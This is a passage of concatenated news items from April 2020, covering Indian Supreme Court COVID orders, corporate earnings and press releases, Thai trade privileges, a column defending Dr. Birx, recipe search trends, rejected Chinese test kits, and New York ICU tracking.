the plight of migrant labourers because they did not have local identity proof. we direct the Union of India to consider whether it is feasible for it to implement the said scheme at this stage or not and take an appropriate decision in this regard keeping in view the present circumstances, the court said disposing of the plea. The one nation one ration card scheme formulated by the central government is proposed to kick in from June 2020. The petitioner pointed out that many migrant workers who left their home state to work in other cities have been confined to their rented accommodation and are unable to return to their home states due to the lockdown. They have run out of food and with no local identity proof like ration card or voter card to avail government benefits like subsidised food grains, they are facing hunger. States and Union Territories have been giving preferences to its respective citizens and voters and denying benefits of subsidised grains, shelter, medical facilities to said migrants laborers/ employees of other states due to absence of local identity proof i.e. ration card/residential proof/ voter card, the petitioner claimed. The petitioner, therefore, prayed that the one nation one ration card scheme which is proposed to come into effect from June 2020 should be implemented during the Covid-19 pandemic so that migrant labourers are not denied subsidised food grains and other government benefits. Indian Government as well as State Governments have to adopt the scheme of One Nation One Umbrella without any discrimination and to save human lives, the plea said. WASHINGTON (dpa-AFX) - While reporting its financial results for the first quarter on Tuesday, Ecolab Inc. (ECL) said it expects the major COVID-19 impacts will be felt over the next few quarters and will be net unfavorable on both its top and bottom lines for the year. However, the company said its forward earnings guidance remains suspended. The company noted that its second quarter will likely see the largest sales impact as it realizes both lower consumption, particularly in its restaurant and hotel segments, and channel destocking. However, as these factors remain very fluid, Ecolab is unable to reliably model its sales and therefore is not providing earnings forecasts. Ecolab also said it expects to generate positive cash flow throughout the year, adding that it has a large cash reserve and strong balance sheet as additional backstops. While the company has taken strong cost control measures, it is accelerating its investments in digital connectivity and artificial intelligence capabilities, as well as new hygiene technologies. The company projects these areas will be even more important during and after COVID-19. Copyright RTT News/dpa-AFX Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. Bureau Veritas, a world leader in testing, inspection and certification (TIC) services, has developed a suite of solutions to support companies of all sizes as they restart business activity. Didier Michaud-Daniel, Chief Executive Officer, commented: "The priority for all companies is to get back to work as quickly as possible and with appropriate health, safety and hygiene conditions for their employees and their clients. Building on 200 years of expertise in risk management, Bureau Veritas has developed a suite of solutions to meet the needs of all sectors of the economy as they reopen for business. "Companies and public authorities with facilities open to the public need to demonstrate to their customers and users the implementation of the required protective measures. Companies in the industrial, construction and services sectors need to be able to protect their employees when they are back at work, whether on site or in their offices. "Our geographical presence in 140 countries and unrivalled experience in certification processes is a considerable asset as it enables us to provide companies, public authorities and society as a whole with our services and our in-depth knowledge of local specificities and regulations. Restart Your Business with BV has been developed in collaboration with a range of experts and stakeholders. Bureau Veritas objectives are to: - Ensure that health, safety and hygiene procedures put in place for the resumption of activity meet local and international regulations, as well as recognized best practices - Confirm that the procedures defined are relevant to the specific needs of the companys area of business, and that they are effectively implemented - Deliver a certification or a conformity label thanks to its role of trustworthy independent third party. Restart Your Business with BV is designed to address the risks specific to all places where people live and work from construction sites and factories to offices, hotels, restaurants, shops and public facilities. More than ever, our role as an expert, independent third party is crucial to creating the conditions for trust in this restart period, adds Didier Michaud-Daniel. Bureau Veritas is committed to deploy all efforts to protect the health and safety of your employees and customers. For more information on Restart Your Business with BV, please contact: [email protected] About Bureau Veritas Bureau Veritas is a world-leading provider in testing, inspection and certification. Created in 1828, the Group has more than 78,000 employees located in more than 1,500 offices and laboratories around the globe. Bureau Veritas helps its clients to improve their performance by offering services and innovative solutions in order to ensure that their assets, products, infrastructure and processes meet standards and regulations in terms of quality, health and safety, environmental protection and social responsibility. Bureau Veritas is listed on Euronext Paris and belongs to the Next 20 index. Compartment A, ISIN code FR 0006174348, stock symbol: BVI. For more information, visit www.bureauveritas.com, and follow us on Twitter (@bureauveritas) and LinkedIn. Our information is certified with blockchain technology. Check that this press release is genuine at www.wiztrust.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20200427005787/en/ Shares is the leading weekly publication for retail investors. It is packed with investment ideas, news and educational material to help build and run portfolios and get more from your money. Shares puts on free Investor Events throughout the year across the country. They provide an opportunity for investors to learn more about companies on the stock market and hear from a range of investment experts including fund managers and Shares journalists. Primeste notificari pe email Contractare si Achizitie Bunuri Anunturi de Angajare (Premium) Granturi - Finantari (Premium) Burse de studiu Stagii Profesionale Oportunitati de voluntariat Toate Articolele Thailand is set to lose duty-free access for $1.3 billion in exports to the U.S. market today, six months after Washington warned it would pull back on trade privileges unless the country committed to more labor rights reforms. Analysts expect the new duties to do little damage directly, however. The Office of the U.S. Trade Representative said Oct. 25 Thailand had "yet to take steps to provide internationally recognized worker rights in a number of important areas," six years after U.S. unions raised the issue. It said the U.S. would restore duties on just under one-third of the $4.4 billion worth of Thai imports eligible for duty-free treatment under the U.S. Generalized System of Preferences after six months. The U.S. Embassy in Bangkok told VOA last week the cuts to Thailand's trade privileges would go ahead as planned. Rights groups have long accused Thailand of profiting off rampant human trafficking and debt bondage among the millions of migrant workers who help drive the country's economy, especially those in its multibillion-dollar seafood industry. In a report on the industry last month, the International Labor Organization said working conditions in Thailand were improving but not by much. "Serious abuses persist for a significant number of workers surveyed," it said, noting that injuries are still common, employers still use debt to control employees, and migrants are still barred by law from forming their own unions. Phil Robertson, deputy Asia director for Human Rights Watch, said Thailand's government had done virtually nothing to address the USTR's outstanding concern in the past six months and welcomed Washington's decision to follow through on the trade benefit cuts. "These are trade benefits that were voluntarily extended to Thailand based on certain conditions. Those conditions are that Thailand respects labor rights, including freedom of association and right to collectively bargain, and there is plenty of evidence to show Bangkok has not reformed its highly deficient labor law or improved implementation of various laws to protect labor rights, he said. So Thailand is losing a benefit they had because they have failed to live up to their side of the bargain," he added. Thai government spokeswoman Ratchada Thanadirek said labor law reforms were still in the works but conceded that the results might not satisfy the USTR. "It's not that we cannot do it ... but there are things that we cannot do at the moment. And when we [are] going to draft a new law, we have to listen to all of the stakeholders," she said. Some Thai labor groups oppose letting migrant workers form their own unions, claiming it might give them an advantage over locals. Ratchada said giving migrant workers their own unions was no panacea, and not the only way to help them. "Having the migrant labor union ... doesn't mean that you can guarantee the labor rights. But we are guaranteeing and protecting migrant workers' rights, so I think that is more important than having a union itself," she said. As for the lost trade privileges, Ratchada said the volume of Thai exports losing U.S. duty-free treatment was relatively modest and would not trouble the economy much. Analysts and economists agree. "It's very negligible," Wisarn Pupphavesa, an economist and adviser to the Bangkok-based Thailand Development Research Institute said of the trade privileges the country was losing. According to U.S. Census Bureau data, the $1.3 billion worth of goods losing duty-free access amounts to less than 4% of the value of U.S. goods imported from Thailand last year, and a fraction of a percent of all of Thailand's global exports that year. Harrison Cheng, an associate director for the consulting firm Control Risks who follows Thailand, said he too was expecting the GSP cuts to have "a rather small impact on the economy." But he said that impact, however modest, would be amplified by the heavy damage the coronavirus pandemic was doing to the economy already and will make Thailand less attractive to investors, including manufacturers looking to relocate from China. U.S. Commerce Secretary Wilbur Ross himself downplayed the coming cuts as trivial after a meeting with Thai Prime Minister Prayut Chan-ocha in Bangkok in November. "The GSP issue has been blown way out of proportion," he said at the time. "It's no big deal." Ukraine's Finance Ministry expects two IMF disbursements worth US$3.5 bln by end of 2020 01:40, 28.04.20 1016 The total volume under the new program should be at least US$8 billion. The cost of Brisbane City Councils signature Brisbane Metro mega-bus project - which once had a budget of $944 million - has blown out by $200 million. The councils other signature project turning Kingsford Smith Drive into a six-lane entry to the city is now almost a year overdue, with plenty of work unfinished. The four-year Kingsford Smith Drive project is now almost a year overdue and there is a lot of work to be completed by "the second half of 2020." Credit:Tony Moore Brisbane Metro has quietly added another $100 million to its costs since February 2020 to allow buses from West End and South Brisbane to access the underground station. Previously, in November 2019, an extra $100 million was added to the cost to finance the electric buses chosen for the mega-bus project. Dr. Deborah Birx is a cross between Marie Curie and Grace Kelly. To say that her resume is impressive is a laughable understatement, given the fact that she has a medical degree from the Hershey Medical Center, several fellowships at Walter Reed, has attained the rank of colonel in the United States Army, was nominated to an ambassadorship by President Barack Obama, has been awarded the Legion of Merit, has served as the head of the U.S. Center for Disease Controls Division of Global HIV/AIDS and, as a senior at Carlisle High School in beautiful Carlisle, Pa., won the Grand Prize at the Capital Area Science Fair. Not shabby at all. She is also, it must be mentioned, poised and beautiful, with a penchant for scarves. This is the type of woman who could persuade me to be a feminist if feminism actually stood for achievement and inspiration instead of grievance and marginalization. I say that because Ive noticed a large number of women who normally tout girl power being quite critical of this role model for females everywhere, particularly those who are interested in the STEM fields. The reason that these women are less than enamored of Dr. Birx has less to do with what she herself has accomplished, and more to do with the person she is currently associated with: President Donald Trump. Birx, along with Dr. Anthony Fauci, are the calm and confidence-inspiring heads of the Coronavirus Task Force, and have provided a valuable bridge between the often confusing messaging from the White House and the media who are ready to pounce on every misstep from 1600 Pennsylvania Ave.. I call them the Trump Hater Whisperers, in that they are attempting to keep the focus on the science when both the president and his more rabid critics are infinitely more interested in the politics. Unfortunately, and ironically, that has become Dr. Birxs undoing. While many Americans are justifiably enamored of Dr. Fauci, who is by all metrics heroic, there has been a souring on Deborah Birx. Not coincidentally, that flattening of the curve in her own stellar reputation among certain groups on the left coincides with her refusal to actively contradict President Trump, or provide the sort of push back they deem appropriate. And women have been the most critical. Emily Nussbaum, a writer at the New Yorker, tweeted this out over the weekend: Dr. Birx is going to leave a horrible legacy. Its one thing to be a cynical paid fixer. Its worse, in my eyes, to be the expert who props up the mad king. I get that its an emergency & I understand the theoretical strategy she may think shes pursuing, but its a moral horror. Nussbaum was not alone. A number of commentators in the official world of punditry, as well as the self-styled experts on social media have made negative comments about how Dr. Birx is essentially a sell-out, or worse. Frida Ghitis, a world affairs columnist at CNN, penned a column about the ethical choices that she believes Birx has to make, noting that Birx has done a superb job in the US-led global campaign against HIV-AIDS. Making her the pandemic point person is one of the best moves by the administration. But her efforts to please Trump have cut into her dignity and credibility. One might question the credibility of the author, whose premise appears to be that anyone who collaborates with the White House has a moral cavity. Not all critics have been women. Activists from the LBTQ community, people who would otherwise be grateful for her groundbreaking work in AIDS prevention and treatment, have weighed in with criticism. Tim Murphy penned a column for BodyPro, a publication geared toward HIV issues entitled Has Deborah Birx Crossed the Line, which was rather rhetorical since he spent the column arguing that she had. It is legitimate to disagree with the president. In some cases, it is necessary. He is not a scientist, and is smart enough to understand his limitations (even though his sense of protagonism leads him to make ill-advised comments about cleaning items). But he deserves credit for choosing Birx and Fauci to lead his brain trust.. What is not legitimate is second-guessing a world-renowned expert in immunology who isnt enough of an anti-Trumper to please those who bash Trump supporters in the head with their Hate Has No Home Here signs. And the ones who anger me the most are women. That whole female solidarity Schtick wears thin when we see that certain females will never earn the respect of institutional feminists unless they tow the ideological line. We have seen that over and over, with Sarah Palin, Michelle Bachman, Jodi Ernst, Martha McSally and Pam Bondi, just to name a few accomplished public officials. The point is, Deborah Birx does not have to answer to anyone other than herself. She owes no explanations, and her moral center is not subject to debate. The fact that she is collaborating with a president some people hate is beside the point. This Pennsylvanian is the keystone to our health. Her critics are irrelevant. Christine Flowers is an attorney and resident of Delaware County. Her column usually appears Sunday. Email her at cflowers1961@gmail.com. Dishes with bamboo shoots have seen the biggest rise for online recipe searches globally, says Google. Bamboo shoots are the top trending recipe search globally, as Asians take to the kitchen during virus lockdowns. While banana bread is the top-searched recipe overall, bamboo shoots have seen the biggest rise within the last month. They have seen a 4,850% rise, highlighting how popular traditional home-cooked food has become in Asia. Countries in the region top the world when it comes to all recipe and cooking-related searches, says Google. Bamboo shoots are picked when they are about 15cm (6in) long, have a mild flavour and crunchy texture, and are added to dishes such as soups and stir-fries to bulk them up. Popular dishes include stir-fried mushrooms and bamboo shoots, pork and bamboo shoots and ramen (a Japanese noodle dish). "I really like bamboo shoots and have them a lot with ramen," sais Leslie Koh, a Singapore-based food blogger. "I spend a lot of time online trying to recreate comfort dishes as we currently have no food stalls at night markets. The dishes bring back the good memories." Bamboo shoots are also easy to cook, making them an ideal choice for novice chefs. With widespread social-distancing rules in place, millions are stuck at home and going online to watch movies, learn new skills, hold meetings - and delve into new recipes. Asia leads the world when it comes to watching cooking tutorials online on YouTube, which is owned by Google. Four of the top five places searching on YouTube for recipe-related videos come from the region - Sri Lanka, Indonesia, Singapore and Bangladesh. The figures come from publicly available Google Trends, which looked at search history for the past 30 days. Top trending recipes Bamboo shoot recipes Bread making recipes Easter cake recipes Mapo tofu recipe Asian dishes are also dominating "homemade" cooking trends, with search interest for "home made momos", "home made egg rolls" and "home made pani puri" all spiking more than 5,000% in the past month. Momos are a type of steamed dumpling, while pan puri is a deep-fried Indian snack. The trend seems to be for easy-to-cook and filling comfort foods. "People in the Asia-Pacific region are heading online for tasty ideas more often than in other parts of the world. The top four places for cooking-related searches over the past month are from the region. At the same time, Asian-inspired recipes are going global," said Dusan Farrington, search communications manager at Google Asia-Pacific. Most searched recipes overall Banana bread recipe Pancake recipe Pizza dough recipe Brownie recipe Carrot cake recipe BBC An Albany man was charged with two felonies after nearly striking a state trooper with his car. State Police said that around 5:30 p.m. on April 24, Yhan Diaz Cortes, 19, failed to move over for a trooper who had stopped another car on Interstate 890 in Schenectady, nearly hitting the troopers car. The Supreme Court has cited a rise in asymptomatic Covid-19 patients and asked the Centre whether it was feasible to arrange protective gears for all medical personnel regardless of whether they are involved in dealing with the pandemic. Various states have reported a growing number of asymptomatic Covid-19 patients. Maharashtra chief minister Uddhav Thackeray on Sunday said 80% of coronavirus patients were asymptomatic in his state, which is the worst-hit by the pandemic in the country. We direct the Union of India to examine this issue and make necessary suggestions in the Rational Use of Personal Protective Equipment (PPE) Guidelines so that PPEs are provided to all health officials who are working in non-Covid treatment areas, a bench of Justices N V Ramana, S K Kaul and B R Gavai said in an order on Monday. The court had on April 8 directed the Centre to ensure PPEs are made available to doctors, nurses, ward boys and paramedical staff treating Covid-19 patients or those who come in contact with them at the designated isolation/quarantine wards. The courts fresh direction come in response to Nagpur-based medical practitioner Sameer Paltewars plea that highlighted that all health care workers were at the risk of contracting the infection. Advocate Shreeyash Uday Lalit, who appeared for Paltewar, said a hospital functions like an ecosystem. Even if one health care professional is compromised with Covid-19, any hospital administration will have no choice but to cordon off the whole area. The plea cited examples of two Mumbai hospitals, where medical personnel got infected by patients being treated for non-Covid-19 illnesses. Over 300 staffers of these hospitals had to be quarantined after around 30 nurses and doctors tested positive for Covid-19. A similar situation forced authorities to quarantine 100 health care professionals at a Delhi hospital. The plea said health workers in Covid-19 wards are required to visit non-Covid-19 areas and added this puts the entire ecosystem at serious risk. Infection from asymptomatic patients is reported to be on the rise in the country. We find substance in the suggestions made by the applicant, the court said. Solicitor general Tushar Mehta, who appeared for the Centre, assured the court that the suggestions will be considered if not included in the revised guidelines. (Bloomberg) -- An independent audit into Wirecard AG concluded that it was unable to obtain the data needed to confirm past revenues, and criticized the payment processor for internal shortcomings and unwillingness by its third-party partners to contribute to the report. As a result, KPMG couldnt check on revenues of 1 billion euros ($1.1 billion) in transactions with third parties. Wirecard said the data needed to conclusively approve revenues from 2016 to 2018 is primarily in the control of third parties, but the company provided its own numbers to the auditor. Those didnt reveal any deviations between the reported revenues and account balances, the German fintech said in a statement Tuesday. Wirecard hired the accounting firm in October to look into its third-party partner business as well as its operations in India and Singapore following a series of reports by the Financial Times that accused the company of accounting fraud in several countries. Since then, the German fintech has drip-fed parts of the report to the market, including a statement last week that said KPMG had not made any substantial findings of questionable accounting methods in all four areas of the audit. Shares dropped as much as 22%, the biggest intraday decline since February 2019. The stock fell 18% to 108.08 euros at 10:29 a.m. in Frankfurt. The report was plagued by delays. The company failed to supply some of the documents KPMG requested in the course of the investigation, or didnt supply them until several months after they had been requested, which delayed the investigation overall, according to the report. Wirecard also postponed individual agreed interview appointments several times, and failed to put an internal control system in place for key parts of its operations in Singapore, KPMG said. Wirecard said complications from the Covid-19 pandemic were behind the late submissions, and the data needed to conclusively approve revenues from 2016 to 2018 is primarily in the control of third parties. It added that its 2019 accounts will not be released on April 30, due to the Covid-19 virus and the audit report. Story continues Read more: Wirecard Says Audit Finds No Substantial Accounting Questions Any positive reaction to Wirecard not having to restate earnings will be muted because of the need for further detail on the review of the third-party business, analysts from Morgan Stanley said Tuesday. Wirecards revenue soared in 2018 following an acquisition spree. The companys technology helps its customers accept online payments and use its banking licenses to issue their own payment instruments. The company had previously hired law firm Rajah & Tann to investigate its Singapore subsidiaries. A final report from the firm in March 2019 acknowledged accounting oversights and potential criminal liability among some Singapore staff, but didnt find evidence that it was linked to Wirecard headquarters. The Financial Times also reported that substantial sales and profits were processed by Wirecards Dubai-based partner company Al Alam Solutions in the names of several clients that didnt exist or had no record of a relationship with the firm. The company categorically rejects the allegations, calling them nonsense, a spokeswoman said in October. (Updates with details from the KPMG audit report from the first paragraph throughout, analyst comment) For more articles like this, please visit us at bloomberg.com Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. Northern Ireland's largest international grain trader has increased its turnover by 10% to 1.4bn just as its boss reveals a drop in activity due to the coronavirus outbreak. The annual figures relating to business up until July 2019 at Belfast-based W&R Barnett also showed a fall in pre-tax profits of 6% to 46m down from last year's 52m. Chief executive William Barnett said the decrease was down to "weaker commodity trading performance, together with losses on investments and the absence of the exceptional asset sale in the prior year". "The increase in revenue comes in equal measure from an increase in the volume and the price of agricultural commodities sold in the year, reflecting a high demand driven by poor weather in 2018," he said. W&R Barnett is the holding company of a diversified group of international commodity trading, storage, agribusiness and industrial companies. It is a global trader of molasses and related liquid commodities, and the leading trader of grain and non-grain animal feed commodities. It is also a prominent supplier of bulk liquid storage facilities to the UK food, feed, industrial and energy sectors with over 400,000 cubic meters of storage assets located on the Mersey, Humber, Thames and Avonmouth. Through John Thompson & Sons, it is the largest manufacturer of animal feed in Northern Ireland. Throughout the past year the firm boosted its staff count by 3% to 1,613 largely due to its first full year of ownership of The Cardboard Box Company, which it acquired in June 2018. During 2018 it also bought over Braeside Group through its subsidiary Logson Holdings for just under 11m. Braeside designs and manufactures corrugated cases and packaging. And in December 2017, another subsidiary, United Molasses Marketing, took over Argos Feed Group, a specialist in molasses marketing, for a total of 1.2m. In the report the directors state that principal risks for the business arise from foreign exchange fluctuations, the commodity markets and customer credit. However the company is now feeling fluctuations in demand due to the coronavirus. Explaining Covid-19 had affected trade, Mr Barnett said: "We are seeing business activity levels decline in most areas after a relatively solid March driven by short-term consumer stock building on essentials." The report said: "The directors consider that both the level of business during the year and the financial position at the year-end were satisfactory. The group will continue to invest in people, product development, facilities and suitable acquisitions in order to ensure its ongoing development." It added that the looming change in landscape post-Brexit UK will also create some uncertainty for the group, "although with relatively low overall risk". "The directors are confident that the group is in a strong position to react quickly at the appropriate time when the UK/EU relationship does become clear, in order to continue to provide the highest levels of services to our customers," it said. W&R Barnett also operates in western Europe, Asia and central America. It is considered one of the most successful family-controlled businesses in NI. DENVER, April 28, 2020 /PRNewswire/ -- Homebot , provider of the award-winning client-for-life portal, and Real Estate Business Services LLC (REBS), a subsidiary of the California Association of REALTORS (C.A.R.) , the largest state real estate trade organization in the U.S., today announced a partnership to provide California homeowners with personalized intelligence to build wealth through homeownership. "In these unprecedented times, it's even more imperative we use technology to safely deliver valuable information to homeowners and facilitate human connections," said Jared Martin, REBS Chairman. "There couldn't be a better time to equip our REALTORS and their clients with such a powerful tool." C.A.R. Business Products are a suite of best-in-class technology resources that help REALTORS build success in real estate. C.A.R. has selected Homebot as their newest Business Product for its ability to help REALTORS engage their database with personalized home finance insights throughout the entire homeownership lifecycle. All C.A.R. members are eligible for a free version of Homebot when connected to a lender on the Homebot Lender Network. It has never been more important for REALTORS to be connected with their clients and with their lender partners. With Homebot, the REALTOR can provide a real-time financial dashboard for the home that is co-branded with their lender partner to assist the homeowner with any home finance-related questions. "Consumers rely on REALTORS to educate them about market changes and help them make informed real estate decisions," said Ernie Graham, CEO of Homebot. "This partnership will position C.A.R. members as an essential resource for all California homeowners to maximize and protect their home wealth during these uncertain times." If you're a C.A.R. member, sign up now: www.homebot.ai/CAR About Real Estate Business Services Real Estate Business Services LLC (REBS) is a subsidiary of the CALIFORNIA ASSOCIATION OF REALTORS (C.A.R.) and is the leading provider of real estate products and services to practitioners in California and nationwide. About C.A.R. Leading the way in California real estate for more than 110 years, the CALIFORNIA ASSOCIATION OF REALTORS (www.car.org) is one of the largest state trade organizations in the United States with more than 200,000 members dedicated to the advancement of professionalism in real estate. C.A.R. is headquartered in Los Angeles. About Homebot Founded in 2015, Homebot is a client-for-life portal that maximizes repeat and referral business for REALTORS by empowering consumers to build wealth through homeownership. The award-winning portal delivers personalized, actionable intelligence throughout the entire homeownership lifecycle to every client and prospect. With an average 50% monthly engagement rate, Homebot ensures REALTORS remain the trusted advisors that consumers rely on to make informed decisions about the largest asset they may ever own, their home. Homebot is based in Denver, Colorado. HOMEBOT MEDIA CONTACT: Michael Lynch 303-960-8770 [email protected] SOURCE Homebot, Inc. Related Links http://homebot.ai China on Tuesday said it was "deeply concerned" over the evaluation result of the COVID-19 rapid testing kits supplied to India by two Chinese companies and subsequent decision by the Indian Council of Medical Research (ICMR) to not use the equipment, and hoped that New Delhi will resolve the issue "reasonably and properly". The ICMR on Monday asked states and union territories to stop using the test kits procured from the Chinese companies Guangzhou Wondfo Biotech and Zhuhai Livzon Diagnostics due to "wide variations" in their performance. "We are deeply concerned with the evaluation results and the decision made by the Indian Council of Medical Research. China attaches great importance to the quality of exported medical products," Chinese embassy Spokeperson Ji Rong said. In a statement, she also said it is "unfair and irresponsible for certain individuals to label Chinese products as 'faulty' and look at the issues with preemptive prejudice." Ji, however, did not clarify who are the individuals she was referring to. At the same time, the spokesperson said China will continue to support India's fight against the pandemic and will jointly work with New Delhi to overcome the challenge "at an early date" to protect people of the two countries from the infection. India procured around 500,000 rapid antibody test kits from the two Chinese firms nearly two weeks back and they were distributed to several states reporting rising cases of the coronavirus infection. In a communication, the ICMR asked states and union territories to return the kits to the central government so that they can be sent back to the suppliers. The government said not a single rupee will be lost as payments were not made to the Chinese suppliers of the kits. The procurement of the kits from the two Chinese companies have been cancelled after the equipment were found under-performing, the government said. In her statement, Ji said the Chinese Embassy has maintained close contact with the ICMR and the two Chinese companies to find out the "real situation", adding China not only sincerely supports India in its fight against COVID-19, but has also been taking concrete actions to help it. "The COVID-19 antibody rapid test kits produced by these two Chinese companies have been exported to and well recognised in many countries in Europe, Asia and Latin America," Ji said. "We have also learned that there are strict requirements for the storage, transportation and use of COVID-19antibody rapid test kits. Any operation which is not carried out by professionals in accordance with the product specifications will lead to the testing accuracy variations," she added. The Chinese embassy spokesperson hoped that India would respect "China's goodwill and sincerity, strengthen communication timely with relevant Chinese companies based on facts, and resolve it reasonably and properly.""Viruses are common enemy of mankind. Only by working together, can we win this battle against the epidemic. Following India's epidemic situation, China has been feeling the same, shared its experiences in epidemic prevention, control and treatment, and donated medical materials to India," Ji said. The spokesperson said China and India have maintained close communication and cooperation since the outbreak of COVID-19. "We will continue to support India's efforts in fighting COVID-19, strengthen medical and health cooperation, and jointly work with India to overcome the difficulties at an early date, so as to safeguard the safety and health of our peoples as well as global and regional public health security," she added. The government had decided to procure rapid antibody testing kits as the regular tests (RT-PCR) takes longer time. A number of states, including Rajasthan and West Bengal, complained about the quality of the test kits, following which the ICMR asked them to temporarily not use them. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A state appeals court panel has refused to overturn the records tampering conviction of a former principal accused of altering PSSA tests to make his failing high school look better in the eyes of education officials. Arthur Melton, former principal of the now shuttered Bok Technical High School, was among more than a dozen School District of Philadelphia principals caught up in a Pennsylvania System of School Assessment test cheating scandal. On appeal to the Superior Court, Melton argued that prosecutors failed to prove he did anything illegal or that cheating even occurred. Judge Megan King concluded in the Superior Court opinion that Melton got a fair trial and that his conviction and 12-month probation sentence must stand. The case also cost Melton his teaching and principal certifications. The cheating scandal, which wasnt limited to Philadelphia, was triggered by what state officials regarded as suspicious erasure patterns on test sheets that seemed to indicate students incorrect answers had been changed to the correct ones. The PSSA tests, administered annually, are intended to judge the educational effectiveness of individual schools. Investigators said that when Melton became the Bok schools principal in 2005 less than 5 percent of the students achieved grade-level proficiency on the PSSA tests. Yet by 2010, PSSA scores showed 71.1 percent of the students were proficient or advanced in math and 53.1 percent had achieved that same level in reading. That rapid rise corresponded with an abnormally high number of wrong-to-right erasure patterns on the PSSA student answer sheets, the probers said. Investigators said Melton confessed to personally altering test answers during an interview. However, during his trial he insisted that admission was false. No prosecution witnesses testified that they saw him alter any tests, so his conviction rested on mere speculation, Melton argued in his unsuccessful appeal. Target owner Wesfarmers has fast-tracked a review into the commercial viability of the struggling retailer after a worse than expected slump in sales. The department store chain's revenue and profits have taken a 'significant' hit during the coronavirus lockdowns, which have left shopping centres deserted as retailers temporarily close their doors. Wesfarmers chief executive Rob Scott highlighted Target's 'unsatisfactory' financial performance in a trading briefing to investors on Tuesday, and said store closures were 'inevitable'. While sister department store chain Kmart remains profitable in deteriorating trading conditions, Target's earnings have slumped significantly. Wesfarmers has fast-tracked a review into the 'unsatisfactory' performance of Target (pictured), which may result in the closure of some stores The sharp sales decline prompted a planned review into Target's operations to be accelerated, which will be completed by June 30. 'These plans include a review of a range of actions to improve shareholder returns and assessment of strategic options for a commercially viable Target,' Mr Scott told investors. He has since confirmed store closures are possible. 'The strategic review is considering all options for the Target business including an accelerated store closure program, the conversion of some stores to Kmart and other structural options for the Target business,' Mr Scott told Daily Mail Australia in a statement. 'The review is an opportunity to review the network, the number and size of stores, to ensure it is fit for purpose.' 'We are getting very strong growth in online in Target, its a great brand, with loyal customers, and a very engaged and loyal team - so there are assets of value we can work with but we need to get the property structure and network right to ensure the cost base is right for the future.' In February, Kmart swung to a 5.5 per cent first-half comparable sales growth from a 0.6 per cent decline a year ago, with revenue at the discount department store up $241million or 7.6 per cent to $4.99billion. Target's comparable sales went the other way, though, falling 2.3 per cent compared with 0.5 per cent growth a year ago as it recorded a worse-than-expected $67million sales slump. 'In recent weeks, in-store sales momentum has moderated in Kmart and has declined in Target, reflecting the broader decline in customer footfall shopping centres and ongoing weakness in discretionary categories, particularly apparel,' Mr Scott told investors. While sales have slumped for Target, in-store momentum has moderated in popular discount department store chain Kmart (pictured), despite the coronavirus lockdowns The current trend of declining sales is expected to persist while social distancing and isolation measures remain in place. 'Given the high degree of fixed occupancy costs, a sustained decline in sales momentum will have a material impact on the profitability of Kmart and Target,' Mr Scott said. 'Margins have also been impacted by higher levels of clearance activity and the increased cost of online fulfillment.' The sales figures were much better for Bunnings and Officeworks, which have experienced significant growth demand in the last two months due to the large numbers of Australians holed up at home. Wesfarmers says a decline in in-store sales will continue declining sales is expected to persist while social distancing and isolation measures remain in place. Pictured are shoppers in Sydney's deserted Pitt Street Mall on Monday The demand contributed to Wesfarmers maintaining a strong balance sheet, despite the pandemic crisis. 'COVID-19 has had a profound impact on our way of life and business operations and the actions we are taking with our balance sheet and in our businesses are focused on sustaining performance in an uncertain future,' Mr Scott said. Target is Australia's largest department store chain with 284 stores across the country. Established in 1926, the retailer was originally known as Lindsays until 1968, when Myer Emporium bought the chain of 16 stores across Victoria, which were renamed Lindsay's Target. The retailer was renamed Target Australia in 1973. NEW YORK, N.Y. -- Mayor Bill de Blasio will consider adding Staten Islands two private hospitals and more than 40 others across the city to his daily intensive care unit indicator count, which is one of the projections the city is tracking to determine whether it can relax its coronavirus restrictions. For the past two weeks, the mayor has been keeping track of three daily indicators -- the number of New Yorkers being admitted into the citys hospitals, the number of patients in its 11 public hospitals ICUs, and the rate of New Yorkers testing positive for coronavirus -- as a way to see when the city can safely reopen. The mayor has said all three indicators would need to move in unison in the same direction for at least 10 days to two weeks before the city can start relaxing restrictions. However, the mayor has left out the entire borough of Staten Island and private hospitals from his daily ICU projections and has said that despite the omission, his projections still paint an accurate picture of how the coronavirus is impacting New York City. Instead, the mayor has been keeping track of the reality of ICU admissions in only 11 public hospitals within the Health + Hospitals network in the other four boroughs. Asked if he would consider adding at least Staten Islands two private hospitals -- Richmond University Hospital and Staten Island University Hospital -- to his daily ICU projections so all five boroughs would be represented in the count, the mayor said he would look into it. But he cautioned that if adding RUMC, SIUH and other private hospitals would not add anything new to the citys projections, he would continue to focus on just the 11 public hospitals. Well check for sure to see if theres any dissonance when we factor in not just the Staten Island hospitals but other hospitals around the city if it tells us anything particularly different, he told reporters during a press conference Tuesday. But if not, I think you should not see this as an effort to give you a snapshot of whats happening in every hospital, this is a citywide indicator to decide how were going to approach the restart, and at what point, and which way, so long as we continue to see it as a consistent accurate citywide indicator, thats what its there for, he continued. He also would not say whether he had attempted to get ICU numbers from private hospitals for his daily projections, only saying that using numbers from the citys 11 private hospitals allowed officials to get consistent ICU data on a regular basis. The data related to the Health + Hospitals hospitals is the data that is most consistent and readily available to us for a daily tracking system, de Blasio said. As Dr. Katz said over the course of the last two months, weve seen very high levels of consistency between the data in the Health + Hospitals and what were seeing in the rest of the hospital system. Health + Hospitals is about 20% of all city hospitals, gives us a pretty clear view of whats happening throughout, but its more readily available consistent data because 56 hospitals overall, very different systems, very different speeds from which we get their information, so this was about keeping our indicator system going on a regular basis and consistent and informative, he said. Despite not factoring ICU admissions outside of its 11 public hospitals, the city does track citywide hospital admissions and the rate of New Yorkers testing positive for the virus across the city. The city also provides a daily count of ICU admissions citywide, which combines the rate of ICU admissions in all public and private hospitals. Though Staten Island has the lowest number of cases citywide, accounting for just 7% of the citys 156,100 total cases as of April 26, the borough has one of the highest numbers of cases per capita in the city after the Bronx. RUMC has consistently provided a breakdown of coronavirus patients in the ICU, but SIUH has not. As of Sunday, RUMC said of the 127 coronavirus patients it was treating, 44 of them were in the ICU. On Tuesday evening, SIUH said there were just over 100 